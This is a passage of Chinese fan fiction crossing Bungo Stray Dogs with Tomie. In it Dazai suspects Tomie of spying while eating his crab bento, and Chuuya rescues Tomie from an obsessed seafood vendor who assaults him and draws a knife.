上方传来少年的声音，太宰治猛地睁开眼，发现宫水富江此刻正站在沙发边弯腰低垂着头盯着他看。 极近距离看到对方的容貌，令太宰治下意识睁大了双眸屏住了呼吸。 这是什么？美人计吗？想通过一样的方式操控他吗？还是说…… 太宰治的大脑瞬间浮现出很多想法。 然而少年却又突然站直了身体，“我还以为你睡着了呢……” “……” 太宰治身体僵硬了一下，明白了对方会这么说的原因是他刚刚想了太久没有回答对方的问题。 “并没有。”他翻了个身，不让自己去看对方的身影，侧身看向桌面回答对方，略微低迷地回答对方，“以及，我只喜欢吃蟹肉料理。” 然而这种情绪使得拒绝听起来有点像撒娇，在意识到这一点后，太宰治转头若无其事地用活泼的口吻抱怨。 “而且富江你根本不懂螃蟹的美妙之处啦！那细嫩滑爽的蟹肉、色泽金黄的蟹黄，以及那细腻肥美的蟹膏……而且现在可是吃螃蟹的好季节！错过了现在，下次想吃到肥美的螃蟹就不知道得等到什么时候了！” “就这么喜欢吃吗？”宫水富江没有注意对方态度的快速转变，他轻轻蹙眉，说出自己曾经刷视频获得的知识，“但是我记得经常吃螃蟹对身体也不太好？” 太宰治义正词严道，“你记错了。” “而且如果真的因为吃了螃蟹而死，我也愿意。” 倒不如说，这种死法可能是他第二追求的死法吧。 之所以排第二，是因为这种死亡方法还是会痛，但因为吃的是自己喜欢的食物，所以会感受到幸福。 宫水富江：“……” 他叹息了一下，“好吧。” 毕竟是主角，总不至于真的因为吃了太多螃蟹所以死了。 宫水富江回到冰箱前，有些忧愁。 按照对方这种频率，冰箱里螃蟹显然又不够了。 这也就意味着，他明天可能又需要出门购买新鲜的食材。 * 港口Mafia总部大厦。 中西宽人正拿着一份文件行走在走廊上，他手握成拳，表情凝重。只是因为他接下来要去自己的上司太宰治的办公室里，汇报对方交代的任务。 作为对方的副手，他其实已经在对方手底下做了半年以上。但是每次要见对方的时候，依旧忍不住紧张。 “……听说了吗？那位太宰先生居然……” “我知道你的意思，今天有好多人看见了……” “没有想到，对方居然……” “…………” 中西宽人的思绪因为身旁路过的成员对话而被转移，虽然没有听清，但是他好像从他们的对话中听到了自家上司的名字了…… 听起来好像是太宰先生做了什么，被很多人看见，所以引起了骚动。 这听起来很像是太宰先生会做的事情…… 但是！ 尽管不知道具体是在说什么，可中西宽人还是觉得他们的胆子太大了，居然敢讲有关于太宰先生的传闻。 ……不，或许正是因为他们不是太宰先生的直属下属，不了解太宰先生的恐怖，所以才敢讲。 中西宽人转念想，而作为对方下属的他们才是那个最难做到这一切的。毕竟一旦被太宰先生发现，等待他们的肯定是比死亡更加残酷的惩罚。 虽然有些好奇，但中西宽人还是无视他们的话语将思绪回归到自己的事情上。 他想，他能成为太宰先生的副手，很大原因是他老实本分，在太宰先生面前从不说多余的话，做多余的事情。 终于，中西宽人来到了上司的办公室门前。 他深呼吸了几下，在做好了准备后，抬起没拿文件的手不轻不重地敲了三下。 “进来吧。” 很快，里面传来上司的声音。 中西宽人打开房门，低头走了进去。 在到达对方的办公桌后，他伸手将手中的文件放在桌面上。 “太宰先生，关于您上次交代我调查宫水富江的事情、……” 他的话语戛然而止，但他不是故意的。 他之所以会这样，只是因为他看到了一样按理来说完全不应该出现在太宰先生的办公桌上的东西——一份包装精致的便当。 作为长年单身且时不时会去便利店购买便当的社畜，中西宽人他有话要说——这绝对不是商家敷衍顾客的那种不走心且便宜的塑料便当！ 本来便当用一块深蓝色的布包裹就已经说明是亲手制作的，更不用说这份便当盒还远比便利店卖得大得多。 而众所周知，他们的上司不是那种喜欢制作料理给自己吃的性格。 所以，真相只有一个！ ——这份便当是别人亲手制作送给太宰先生的！ 这可是他从未见过的场景，在此刻浓浓的好奇心在中西宽人的心中升起，同时他恍然大悟了之前路过的成员讨论的是什么。 他视线上移，下意识看向太宰先生，却只见对方正似笑非笑地注视着他。 中西宽人：“……” 意识到自己刚刚做了什么后，好奇心顿时消失不见。 他整个人惊慌失措起来，额头和后背开始冒冷汗。 “对、对不起，太宰先生！我、我只是……”他下意识道歉，却又说不出个所以然来。 黑发青年保持微笑却冷眼看着他说话，最终伸出手指敲了敲桌面打断了他的话语，“中西君，不要把注意力放在无聊的事情上，我记得我平时可没有这样教导你们，不要让原本就对你们不抱期待的我更加失望……好吗？” 听到上司那最后的反问，中西宽人只能唯唯诺诺地点头，并低下头回答，“是……” “所以，我让你调查的事情怎么样了？”黑发青年询问。 回归到自己的工作上，中西宽人的表情都严肃了很多。 他想起了自己调查出来的内容，咽了咽口水后，僵硬回答，“宫水富江这个人……我们没有调查到什么有用的信息。” 黑发青年拿起文件的动作微不可察的停顿，但声音依旧冷淡，“继续。” 因为刚刚的事情，中西宽人不敢再抬起自己的头，生怕会看见其余别的不该看的事情。 于是，他盯着脚边的地板继续道，“对方就像是大半个月前才出现的一样，我能找到的关于对方的最初的信息，也就只有YMC的松下幸之助与对方初见的记录，甚至发现就连对方的任何相关证件……也都是松下幸之助帮忙伪造的。” “也就是说——” 听到中西宽人的话语，黑发青年紧跟着抬眸开口，“你们没有找到任何情报，对吧？” 面对上司的冰冷反问，中西宽人的身躯忍不住轻微颤抖，“是这样的……太宰先生。” “……” 偌大的办公室陷入了安静，中西宽人被这焦灼的氛围紧张到，看着这冰冷的地板，他希望自己能赶紧出去。 上天似乎终于感受到了他的想法，在几秒钟后，他听到了来自上司的话语。 “出去吧。” 中西宽人得到这句话后立即后退，在走了几步之后才转身朝着门口离开。 他担心直接转身离去会显得自己的动作太着急，然后被太宰先生注意到他的急不可耐，并在某天以此为由突然找他麻烦。 直至离开办公室很远，确定对方没有出来也绝对听不见，中西宽人才重重吐了口气。 不仅因为那份便当在太宰先生面前走神注意被抓，还没有完成太宰先生交代的工作……他差点以为自己会死在那里。 不过话说回来，那份便当……是太宰先生的情人送的吗？ 中西宽人暗想。 而他之所以会这么想的理由很简单，太宰先生有的时候喜欢利用他人感情来获得情报这件事情在港口Mafia并不是什么秘密。 据说对方的搭档中原先生总是因此受到骚扰，因为太宰先生会为了摆脱麻烦在利用完感情后将中原先生的号码送那些人，害得中原先生换了无数个私人手机号。 …… ………… 副手离开后，太宰治则是独自坐在自己的办公座位上若有所思。 虽然他经常会抱怨自己的下属什么都做不好，什么都做不会，但是作为他们上司的太宰治本人清楚地知道一点。那就是即使他再怎么打击自己的下属，但这些家伙至少也是从他这里学到了一些真东西的。而巧的是，他开创了港口Mafia监控与反侦查技术并加强了审讯技能。 也就是说，即便不是他亲自下场调查，可学到他一些调查技术的下属们不应该真的一点线索都没有找出来。 事实却是，他们真的什么有用的线索都没有找到，就仿佛宫水富江这个人是凭空出现的一样。 果然是他太小瞧对方了吗？对方虽然看起来愚笨，但无论怎么说也是有能力操控松下父子二人并算计他的存在。 还是说…… 什么线索都找不到，这也就意味着对方过去的所有信息都被掩盖了。这不是一个人能完成的工作量，也就表明对方的背后很大可能还有另一个组织的存在。 这样一来，也能说明宫水富江时常展现出来的愚笨，毕竟宫水富江也是听从对方身后组织命令行事的棋子。 ……倒不如说，这个才是最有可能的猜测吧。 可这也就说明对方以及对方身后组织的目的不是他，而是他背后的港口Mafia。 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他来到偏远的角落，打开罕见的两层便当盒，出现在他面前的精致的摆盘。 主食是米饭，配菜则是一些沙拉和用各种方式制作的蟹肉料理，包括酱焗蟹腿、蟹肉奶油炸丸子和蟹肉刺身。 “好厉害……” 越是厉害，太宰治越惋惜。 他只能期待宫水富江的真面目晚点被他发现，这样一来他还能继续享受对方制作的料理。 “太——宰——” 就当太宰治用筷子夹起酱焗蟹腿品尝的时候，从远处传来了一道带着浓烈怨气和愤怒的戏腔。 一听到这个熟悉的嗓音，太宰治就知道了对方是谁。 随着对方由远及近的脚步声，太宰治放下手中的食物，掐准时机回头，表情嫌弃道，“我还以为是谁来着，这不是中也吗？你应该庆幸我现在是坐着的，不然我可能完全看不到你的存在。” “你这个混蛋——！” 赭发青年站在黑发青年的面前，表情愤怒地怒骂，“虽然你现在是比我高一点点，但也没有高到哪里去吧！而且我还在成长期，肯定会长得比你高！” “是这样吗？看着这样自欺欺人的蛞蝓也很有意思哦，要不然我把这件事情连载在《本周不服输的中也》上让大家观看好了噗噗噗……” 黑发青年毫不遮掩的嘲笑彻底惹怒了赭发青年，他伸出手揪住对方的衣领，“哈？如果你敢这么做，我现在把你揍到半死不活！想的话你可以试试。” 听到对方这么说，太宰治撇过头发出不满的声音，“啧，区区蛞蝓而已。” 中原中也愤怒将对方半提起来，威胁道，“看来你现在就想试试了，青花鱼！” 太宰治喜欢和对方对着干，但可不想挨揍。 于是，他主动转移话题。 “所以，中也特意赶在这个时间点过来是有什么事吗？” 被这么一提醒，中原中也拎着衣领的动作不仅没有停下，反而更加生气地揪紧。 他咬牙切齿道，“你还好意思说！你忘记你昨天做了什么吗？！” 太宰治无辜地眨了眨眼，再回想了一下后恍然大悟起来，“啊……” 中原中也回答，“前几天你这个混蛋翘班离开前，是不是偷偷在我要处理的工作里塞了你的文件！” 虽然是疑问句，但是他相当肯定这就是对方做的！ 太宰治偷感很重地移开视线。 好像确实有这么一回事来着，只不过后面他更关注宫水富江的事情，再加上中原中也临时外地出差了几天，所以他都快要忘记这回事了。 不然，以他的能力早就在中原中也跑过来找他前悄悄跑路了。 “你、……” 中原中也立马就明白对方是什么意思了，刚想生气说点什么，他视线就不经意间落到了对方座位前的那份便当上。 他表情明显露出了惊讶的神色，像是想到了什么，忍不住低语，“……怪不得从今天早上开始就到处听见有人在说你包|养别人了，原来是因为你居然带了别人制作的便当啊！” 太宰治回过头，虽然多少知道外面会有人胡乱猜测，但没有想到会是这种。 只不过很快他的脸色微僵，因为这样一来，不就说明他的地位和松下父子二人没有什么区别吗？ 大概是他低头思考的神情被中原中也的察觉，对方很快明白了什么。 “太宰，虽然我知道具体是什么情况，但我敢肯定你和对方的情况绝对和外界传得不一样。”中原中也神色坚定。 太宰治从自己的思绪中抬起头，他有点好奇地反问，“为什么你会这么认为？” 野生动物的直觉？对搭档的了解？还是说对方平滑到没有褶皱的大脑做不出这样的猜测？ 一系列可能从太宰治的脑中闪过，直至对方开口打断了他的思绪。 “就你这样的家伙，绝对不可能做出包|养别人的事情！” 对方的话语坚决，语气坚定，任谁看了都忍不住热泪盈眶。 但太宰治知道，中原中也的狗嘴里根本吐不出什么象牙。 果不其然，对方紧接着道，“说吧！你是不是又欺骗了对方的感情，所以才导致对方不得不给你送便当的？” 太宰治：“……” 果然是蛞蝓！明明反过来才对！ 是他为了查到对方和对方背后组织的真面目做出配合，所以才不得不收下这份便当！ 8. 第 8 章 “哎……” 黑发青年低垂着头坐在客厅的餐桌前，整个人莫名散发出一股低沉的氛围，令人难以靠近。 宫水富江在旁边悄悄注视着这一幕，他清楚地知道，现在的太宰先生很不对劲！ 从昨天晚上对方上晚班后，他就察觉到了这件事情。 但出于对方的身份和自己不想越界的想法，宫水富江一直当作没有发现。 可现在—— “哎……” 对方从今天早上开始就一直在叹息，身上低落的氛围和萎靡的情绪愈发显眼。 甚至现在已经达到了叹息一声，就看他一眼的地步。 就好像，对方会变成现在这个样子都是他的错一样…… 不是，他应该没有做什么奇怪的事情吧？话说，对方都表现得这样显眼了，他究竟是主动上前询问还是继续装作什么都不知道啊？ 宫水富江在内心疯狂纠结，终于在对方逐渐增大音量的下一声叹息下做出了选择。 “太宰先生……”他小心翼翼地喊着对方的名字，然后担忧地询问，“是发生什么不好的事情了吗？” “听我说啦，富江——” 对方像是终于受到关注的孩子，在他发出询问的下一刻就立即发出上扬音调。 明明应该是抱怨的语气，但偏偏活泼地让原本阴暗的氛围都消散得一干二净。 “你知道吗？我明明为组织做出了巨大的奉献，但我的同事却完全没有注意到这件事。不仅如此，他还把一切的过错都推到我的身上……” “蛞蝓啦蛞蝓！对方绝对是蛞蝓！我之前还以为对方只是单纯的大脑平滑到没有一丝褶皱，现在看来对方分明就是没有大脑的蛞蝓……” 对方仿佛被憋了好久，在宫水富江与他交流后，立即宣泄出了一堆抱怨，把宫水富江听得一愣一愣的，完全做不出多余的反应。 不过随着越听越多，宫水富江大致了解了对方刚刚为什么会如此萎靡。 在宫水富江原本的预想里，港口Mafia是个十恶不赦的凶残组织，他们的首领不仅挟持了太宰治的友人来威胁太宰治，还在组织内克扣太宰治的待遇。 可显然事实不止于此，太宰治在组织内还时刻遭受同事的暴力对待。 按照对方所言，他经常合作的同事是个头脑简单、四肢发达的人，常常会在工作中出现问题的时候一言不合就打他，连解释的机会也不给。 而且其余的同事则是冷眼旁观他们之间的相处，以至于对方每次不服上报的时候，总被以这是关系好的表现而打发。 霸凌，简直是赤|裸裸的霸凌！ 宫水富江震惊。 可偏偏即使是这样，对方却表现好像没有什么大不了的样子…… 宫水富江注视着黑发青年那明明抱怨，却显然已经习惯没当回事的态度，不由得怜悯起来。 对方恐怕根本找不到什么能宣泄的地方，所以才会找到他。 虽然很想帮助对方，但宫水富江做不到实际意义方面的帮忙。 在思考了一会儿后，他走到黑发青年的身边，张开双手。 …… ………… 注视着少年张开双手的举动，太宰治说话的声音渐渐弱了下去，转而用困惑的眼神与对方对视。 这是太宰治始料未及的反应。 他下意识询问，“什么意思？” 然而少年却只是轻声反问，“你需要拥抱吗？” 太宰治：“……？” 他不太能理解对方的脑回路。 说到他的合作同事，任谁都只能想到中原中也一个人。 毕竟当初他们组成搭档，在龙头战争以‘双黑’的名声响彻了整个里世界。 而宫水富江是其背后组织指示来通过他获取港口Mafia情报的棋子。 因此，太宰治主动提起这个话题来向对方透露有关中原中也的部分真实情报——毕竟虚假的情报太容易被戳穿，容易打草惊蛇。 在他的预想中，只要对方携带着这些情报向背后的组织进行传递，那么他迟早可以找到这个组织。 可他万万没有想到，对方不仅没有主动询问中原中也的事情，反而走上前张开双臂询问他是否需要拥抱。 ……为什么？ 还是说对方看穿了他的想法，所以反其道行之？ 不知道太宰治在想些什么，宫水富江见对方没有动作，以为对方是因为他的善意接近而有些不知所措，于是继续上前几步打算主动拥抱。 可随着他的靠近，黑发青年终于有所反应。 他先是鼻尖微微耸动，随后茫然地抬起头与他对视。 在宫水富江的目光中，只见对方用自己无法赶上的速度站了起来，然后表情僵硬朝着门口走去，那举止动作中甚至带着些许慌张。 还没等宫水富江反应过来，对方又继续道，“我突然想起来今天我有重要的任务要做！我先去上班了！” 宫水富江茫然地看着对方雷厉风行的一系列举动，放下了自己的双臂，然而视线在看见大厅桌面上摆放着的便当后回神过来。 眼看黑发青年推门而出，宫水富江喊住对方，然后拿着便当走上前放在对方的怀中。 “等一下，你忘记这个了。” “……” 对方沉默了一下，收下了便当。 宫水富江见重要的东西被收下放松下来，并在对方彻底离开前给出自己的想法和意见。 “你的同事听起来很坏，如果实在不行，下次见到对方你提前避开好了。” 本来只是意见，可他这么说完之后，面前的黑发青年表情有些怪异，抱着便当盒嘀咕着什么。 但很快，对方又抬头看向了他。 “你说的有道理……下次见到对方我会注意提前躲开的。” 宫水富江欣慰，虽然没能给对方任何安慰，但似乎他也不是什么都没有做。 就当他以为黑发青年就这样离去的时候，对方却又继续道： “但是富江，如果你在外面见到了那个黑漆漆的小矮人，也记得离他远点。” 说完，这次是真的头也不回地离开了，独留宫水富江站在原地。 他歪了歪头，有些不解。 因为他并不觉得自己会见到对方的同事。 先不提对方口中的这位同事应该和对方一样在港口Mafia工作，单就对方使用的称呼‘黑漆漆的小矮人’、‘蛞蝓’…… 他恐怕就算遇见了这位同事，也认不出来吧。 但是—— “果然太宰先生和室友说的一样是个好人。”宫水富江自言自语道，转身回到屋内。 说起来，他好像也该出门为冰箱补充物资了。 * 谨慎地走在街道上，宫水富江忍不住再次伸出手摸了摸自己身上的装备。 帽子，没有问题！ 口罩，也没有问题！ 确定无误后，宫水富江在内心满意地点了点头。 其实如果不是觉得再戴墨镜会影响视线，还容易被当成奇怪的人，宫水富江还真想继续给自己准备这个，然后凑齐三件套。 出门穿成这样是他的大胆尝试。 松下父子的事情切实地让宫水富江了解了富江体质的恐怖之处，为了防止再次造成类似事件，他只好低调隐藏自己。 经过这几天出门的测试来看，对比当初与松下父子初见时的效果，现在这样确实有效地降低了富江体质带来的影响。 尽管大白天这样穿连他自己都觉得有点奇怪，但不知为何这里的大家意外地不当回事，相当的宽容…… 宫水富江按了按自己的口罩想。 他熟门熟路地来到熟悉的海鲜摊位，还没查看，就听到老板热情地开口。 “你又来了啊，今天还是要螃蟹吗？” 宫水富江抬起头，老板正笑眯眯地盯着他。 他压低了声音，紧张地回答，“嗯……今天还是来买两只螃蟹。” “我知道我知道。”边说着，老板边干脆利落地挑了两只新鲜的螃蟹。 大概是对方做生意的天性使然，即使宫水富江不爱言辞，对方也依然自来熟地开口。 “虽然知道你爱吃螃蟹，但是每天都这么吃，身体也经不住……当然，我只是出于好意的关心。如果只是为了赚钱，我就不会这么说了。”老板将选好的螃蟹好好地用绳索捆住，并装入袋中递给宫水富江。 宫水富江不自在地摸了摸自己的口罩，低声解释，“我对螃蟹没有那么喜欢，主要是买给别人吃的……” 他伸手准备拿过袋子，然而老板拎着袋子的手却一顿。 “别人……” 宫水富江抬头看向老板，只见对方垂眸沉思低语着什么，但他听不清楚。 对方注意到他的视线，表情立即变回了原来热情的模样，将袋子给他。 “不过螃蟹是新鲜的食材，你每天都要这样买会不会太麻烦？我们店里有针对长期顾客的免费服务，只要一点跑腿费，我完全可以送货上门。”老板的口吻不变，依然还是那样的自来熟。 听到送货上门，宫水富江确实有点心动。可是一想到这同时意味着住址的暴露，宫水富江就歇了那道想法。 更何况和他一同住在那里的还有太宰治，再怎么说对方也是港口Mafia的成员。 他急忙拒绝，连音调都顾不上压低，“还是算了……我自己过来买就行。” 老板神色不变，只是语气带着意义不明的惋惜，“这样吗？真是可惜……” 宫水富江心中莫名发慌，他轻微蹙眉看向老板。可好像是他的心理阴影，老板与之前并没有什么不同。 但他心里还是有种说不清的危机感，也许老板并没有变化，可宫水富江还是做出了决定，他以后不打算继续来这家店了。 不仅仅是因为那种感觉，也是防止富江体质的潜移默化。 想到这里，宫水富江马不停蹄地离开这家店，赶往了超市买别的食材。 而在他离开后，老板停下了手中的动静，转而直勾勾地盯着他的背影。对方原本脸上热情的微笑消失不见，整个人带着难以靠近的氛围。 随后没一会儿，老板摘下了身上的专门防水的围裙，走了出来挂上打烊的字牌。 这是刚巧一位经常光顾的家庭主妇路过，她看着老板的背影和关上的店门，下意识询问，“老板，今天怎么突然关门了？” 老板头也没回，整理着字牌回答，“今天啊……今天我有点急事要处理，所以没办法继续工作了。” 他语焉不详的话语，使得家庭主妇略有不满。 老板好像感受到了这点，倏地回头笑道，“明天吧，我明天会给优惠。” 殊不知，自己此刻的笑容显得异常怪异。 家庭主妇原本还被老板那比平时相比莫名兴奋的笑容吓了一跳，可一听有优惠，又被转移了注意力。 她笑得满面春风，“优惠？那看来今天老板你要处理的急事是好事啊！既然这样先恭喜你了，我明天再来。” 说完，家庭主妇转身离开。 “好事吗……我想想，确实是好事，就是……”老板嘴角扬起疯狂的味道，“只有我认为是好事。” 他迈动脚步，朝着少年离开的方向走去。 ** “阿嚏。” 宫水富江吸了吸鼻子，寻思着怎么大夏天的自己在打喷嚏。担心自己会感冒，又去药店买了些常用药备着。 走出了店门，他端起自己手中的袋子看了看，确认买够了后便从门口离开。 行走在路上，宫水富江边打量风景边胡乱思考。 其实，他一直有个疑问。 虽然太宰治带他住的公寓很高级，但不知为何却远离正常的城市中心，更加靠近港边。 而且明明是高级公寓，却没有物业管理。 他也曾问过太宰治，对方却表示这种存在根本没有必要。 并且住在这里的人也基本早出晚归，很难给他们的生活造成影响。 宫水富江为此还询问过，“那安全问题呢？” 谁知，黑发青年却露出了笑容，肯定地回答，“不可能出现这种问题。” 对方给出的答案并没有解决宫水富江心中的疑惑，看着越走越人烟稀少的路，他缩了缩身体压低了自己的存在感。 讲实话，他觉得自己如果在这条路上出事，恐怕即使大声呼救也得不到回应。 可想了想自己这段时间出门的 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“别动……” 沙哑的声音从背后极近的距离响起，宫水富江停下脚步，手上的动作开始僵硬。 “告诉我你的名字。” 宫水富江不明白对方意思，但还是如实告知，“富江……我叫富江。” “富江……” 对方重复了一遍，语气带着某种隐忍。 可很快，这种隐忍不复存在。 “富江……为什么啊富江？我以为你是个纯洁善良的人，结果你却告诉我……你居然会给别人制作料理！” “我明明只是想好心提醒你的……但你的回答实在是令我太失望了，富江……！” “富江，富江……” 沙哑的声线逐渐变得耳熟，宫水富江越听越熟悉。 直至对方说到那句提醒，令他想起来不久前刚买螃蟹时的那个老板。 “老板？” 宫水富江下意识喊出了那个称呼，说完发觉自己说了什么的他捂住嘴巴。 不妙的预感高高升起，果不其然下一刻—— “呵呵……富江，你认出我了？我就知道，我对你来说是特殊的……我好喜欢你啊，富江……” 对方的话语带着难以述说的扭曲情绪，宫水富江脊背发凉。 他想到了什么，忍不住确认。 “……为什么？”宫水富江低声询问，“我戴着口罩和帽子，还一直压低了声线……怎么看都不像是能引人喜欢的样子吧？” “富江，虽然你戴了帽子和口罩，但是你露出来的部分就已经表明了你长得很好看，而且你也不是一直都压着声音的……” 老板说完难听地笑了两声，引得宫水富江整个人陷入害怕。 之前松下父子的时候，还有太宰治在。 可现在，这里除了他和老板外谁都没有。 ……他该怎么办？ “富江……让我看看你的脸吧？我一直都很想看看你口罩下的模样……富江。” 身后老板开始做出要求，但宫水富江完全不敢这么做。 他担心老板在看到模样后提出更加过分的要求。 可他这委婉的拒绝反而引起了老板的不满，他的语气开始恶劣，并且开始将手伸向他。 “富江……！快点！快点转过来给我看看！你放心，我不会……富江！！！” 宫水富江只感觉自己的身体在对方的强硬动作下转了过去，手中的袋子跌落，食材掉了出来。 他低下头，可抵不住对方的手劲。在对方的用力动作下，他被迫抬起头。 “不、……” 宫水富江发出声音，并伸手试图阻拦对方。 可他的反抗只迎来了变本加厉的强硬手段。 对方狠狠地揪住帽子下的发丝，另一只手伸向他的口罩。 他趁着这个机会双手抓住对方扯口罩的胳膊。 “就这么不愿意让我看吗……！给别人制作料理的时候也是这样戴着口罩吗！”对方大吼，“明明只是个婊|子，还要立什么牌坊……快给我松手！” “我不要……！”宫水富江在对方的手下艰难地回答，同时双眸忍不住泛起雾气。 他为自己今天没有提前换一家店感到后悔，又希望此刻有人路过帮帮他。 仿佛有人听到他内心的想法，就在宫水富江觉得自己支撑不住的时候，一道愤怒的声音从他身后响起。 “——喂，你在做什么。” 宫水富江注意到老板的视线往他身后一看，紧接着分神，手上的力道变小。 察觉到这是个机会，宫水富江立即将对方的胳膊甩开，从对方的手底下逃了出来。 同时，他对着身后的人大喊，“救、请救救我——” 然而才脱离掌控一会儿，老板就再次伸手，朝他袭来。 “富江……！你居然敢向别人求救——” 注视着对方那只在他视野中莫名变得巨大的手，宫水富江身体僵硬。 “啧。” 身后的人再次发出声音，还没等宫水富江思考这道声音是对谁的不满时，眼前的景象发生了巨大的改变。 从他的视野右边窜出来一只戴着皮质手套的手，骨节分明的同时也因黑色手套被衬得纤细。 明明不像是能与之对抗的样子，却难以置信又无比可靠地将老板那原本伸向他的巨大的手掌打落。 还没等宫水富江诧异，胸前又多了道强力的拉扯。 他顺着力道望过去，是老板用另一只手揪住了他胸前的衣服，大概是想这样将他拉过去。 宫水富江下意识咬唇，紧闭双眼。 “啊——” 可随之而来的是老板的惨叫，以及他被身后之人拦住双肩的触感。 宫水富江睁开双眼，抬起头。 映入眼帘的，是在阳光下发出耀眼光芒的赭色发丝和钴蓝色眼眸。 “真是的，怎么会遇上、……” 对方似乎在低声说着什么，可又在与他对视的刹那戛然而止。 9. 第 9 章 时间往前推一点点。 此时的中原中也还在港口Mafia。 不知道为什么，明明已经将偷偷塞文件给他工作里的太宰治教训了一顿，可他还是被迫熬夜做了工作。 “我的工作有那么多吗……” 中原中也边自言自语，边回顾着自己之前的工作内容。果不其然地发现在自己的工作里掺杂了一堆不属于自己的文件。 “太宰——” 他怒气冲冲地来到了太宰治的办公室，结果却被偶然路过来送文件的下属告知，太宰治今天直接在外面工作，到现在为止还没有回到港口Mafia来。 意识到对方早就溜走了，中原中也的表情越发狰狞。 可偏偏当太宰治真心不想让谁找到的时候，谁都找不到他。于是，中原中也只好被迫作罢。 他看了一眼这个部下，“你是……中西，对吧？太宰那个混蛋要是回来了，记得给我原封不动地转告他一声……” “‘——洗干净脖子给我等着吧！’” 中原中也面带满含杀意的笑容，对着太宰治的副手讲道。 说完，他不顾这位部下颤抖的双腿，径直离开了港口Mafia的大楼。 “呼……” 行走在远离港口Mafia的路上，中原中也重重吐了口气。 他双手插在衣兜里，钴蓝色的眼眸下方带着淡淡的黑眼圈，浑身上下透露着浓浓的疲惫感。 他现在所走的目的地是港口Mafia名下的一栋高级公寓，自从成为高层后，他便一直住在那里。 按照他接下来的发展，等到他成为了干部，大概就会和红叶大姐一样搬到别墅区住。 其实以他现在的财力完全有能力现在搬进去住，但他舍不得，舍不得与曾经朋友一起住在那栋公寓里成为邻居的日子。 明明吵闹，却相当轻松快活的一段日子。 ——即使那已经是一年多以前的事情了。 想到这里，中原中也不自觉地看向了远方那片蔚蓝的海面，这是他站在他们墓前能够眺望的同一片风景。 可紧接着，他收回了视线，继续行走在回家的路途上。 公寓距离港口Mafia的距离并不远，中原中也基本都是步行回家。 但平日里因为地理环境相当安静的道路，此刻却传来了隐隐约约的吵闹声。 中原中也轻蹙眉头，即使熬夜带来的疲惫让他有点累，但他可不会听错这样的动静。 他顿了一下，然后朝着声音方向走去。 映入眼帘的是，一位与首领年龄相差不大的中年男人在纠缠一名少年。 少年背对着他，中原中也看不太清，但他能看得出来对方的不情愿和恐惧。 见到这一幕，中原中也下意识带着还未消散的怒火质问那个中年男人，“喂，你在做什么。” 大约是意识到身后有人，少年的反抗更加剧烈，并带着哀求的意味对他求救。 “救、请救救我……” 看不清容貌，但声音却极具特色。 那道求救的声音不停地充斥在中原中也的脑海中，无法消散。 然而这份求救显然激怒了对面的人，对方的动作变本加厉，引得少年越发困难。 中原中也能感觉到自己的心情越发暴躁，他不满地‘啧’了一声。 港口Mafia确实是暴力组织，但中原中也深深地从森鸥外那里知道，这并不意味着这股暴力该针对无辜的市民。 相反，港口Mafia是横滨夜晚的保护伞。 虽说现在并不是夜晚就是了。 眼见中年男人因为少年的即将挣脱而采取更加激烈的手段，中原中也再也无法站在原地。 他快速来到少年的背后，伸出右手将中年男人的手掌打到一边，与此同时，用左手揽住少年的肩膀往后撤退两步，将对方带离那名中年男人的身边。 中年男人的哀嚎在耳边响起，中原中也的表情没有任何变化。 在港口Mafia的这两年，或者说从他生活在擂钵街后，这种痛苦的嚎叫他每天都能听到。 但他有些烦躁。 他明明只是想回家补个觉来着，可偏偏…… “真是的，怎么会遇上、……” 中原中也边低语着什么，边低头看向怀中的少年。 他准备等会儿简单地询问少年的情况后，再离开。 然而刚低头，话语就顿住。 因为他明白了那个中年男人如此对待少年的原因——是欲|望。 大约是刚刚少年与中年男人激烈的对抗，以至于对方的帽子堪堪掉落，露出如宝石般光泽的黑色发丝。 而原本用于遮掩容貌的口罩也早就在刚刚的拉扯中被拽到下颚处，甚至中原中也还能清晰地看到对方脸颊处被口罩用力紧绷而微微泛红的印记。 精致的面容彻底出现在中原中也的面前，他的视线一移，注意到了少年抿住下撇的嘴角和泛着雾气的黑色眼眸。 “富江——！！！” 一道夹杂着痛苦的吼叫拉回了中原中也的思绪，意识到自己刚刚做了什么后，他顿时撇过了头，松开了左手，只给少年留下隐隐泛红的耳垂。 中原中也想要转移自己的注意力，于是他看向那名中年男人。 对方注视着他刚刚拦着少年的左手急红了眼，表情带着疯狂与恐怖，恶狠狠道，“富江是我的……！你该死……不，富江也该死！” 听到这种话语，中原中也眉间紧蹙。 对方看起来就像个疯子，还是那种精神有问题以至于胡言乱语的疯子。 而且对方表现得就像是他和那名少年做了什么不可饶恕的事情，背叛了对方一样。 见对方这次从怀里拿出一把刀冲了上来，中原中也这次没有留手。 他侧身轻松躲避，然而抬腿使用异能将对方踢向远处的草丛里。 等确认对方无法起身，只能痛苦地躺在那里嘴里发出呜咽声，中原中也这才转移视线。 他转过身，看向了站在一旁瑟瑟发抖的少年。 对方光是站在那里就像是一幅精心绘制的油彩画，特别是阳光照射在对方的身上的时候，少年仿佛全身都在发光。 中原中也站在原地紧紧凝视着少年，直至对方出声后才回神。 “谢、谢谢……” 少年小心翼翼地看了看他，又看了看他身后倒在草丛中的人，似乎在确认对方是否还活着。 中原中也再次撇开视线，他抬起手，按压了下自己的帽子，直至帽檐遮掩了少年的面容才回答，“……没事。” 在被一系列事情宕机的大脑继续转动的同时，中原中也听到了少年松了口气的呼吸声。 想到刚刚发生的事情，以及少年凌乱的形 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……也不算白用功吧？话说同样是强塞，这个少年可比太宰那个混蛋显得可爱多了。 他记得，那个中年男人好像叫对方富江来着？ 想到这里，中原中也迈步离开。可紧接着，他像是意识到了什么突然皱起眉头。 之前没有想过，可现在回想起来他总觉得哪里不对。 对方说他的家就在附近，可这里是港口Mafia边缘的地盘。 哪怕能住，在这附近也只有…… 中原中也看向那栋高级公寓。 但是视线再次看向少年离开的方向，那分明是与公寓完全相反的地方。 “果然是想太多了……” * 直至确认周围没有多余的人后，宫水富江才停下脚步。 他弯腰撑膝喘气，为刚刚得救感到庆幸。 如果不是那名赭发青年，他恐怕就完蛋了。 但同时，他很明显地意识到了两件事。 第一件事，他做不到完全阻挡富江体质，它的影响是潜移默化的。 第二件事，虽然无法完全遮挡，但似乎只要及时更换就能有效制止类似的事件。 但，有效制止并不意味绝对不会发生。 这也是他选择了远离居住地方奔跑的原因，他担心这个赭发青年也会和之前的那个人一样。 宫水富江最初以为的，想要在这种体质下苟命，只需要一直待在太宰先生的身边就可以。 可显然，事实并没有他想得那么简单。 他可以宅在家里，但总有不得不出门的时候。 也就是说只要还有出门的情况，这种现象就无法完全避免。 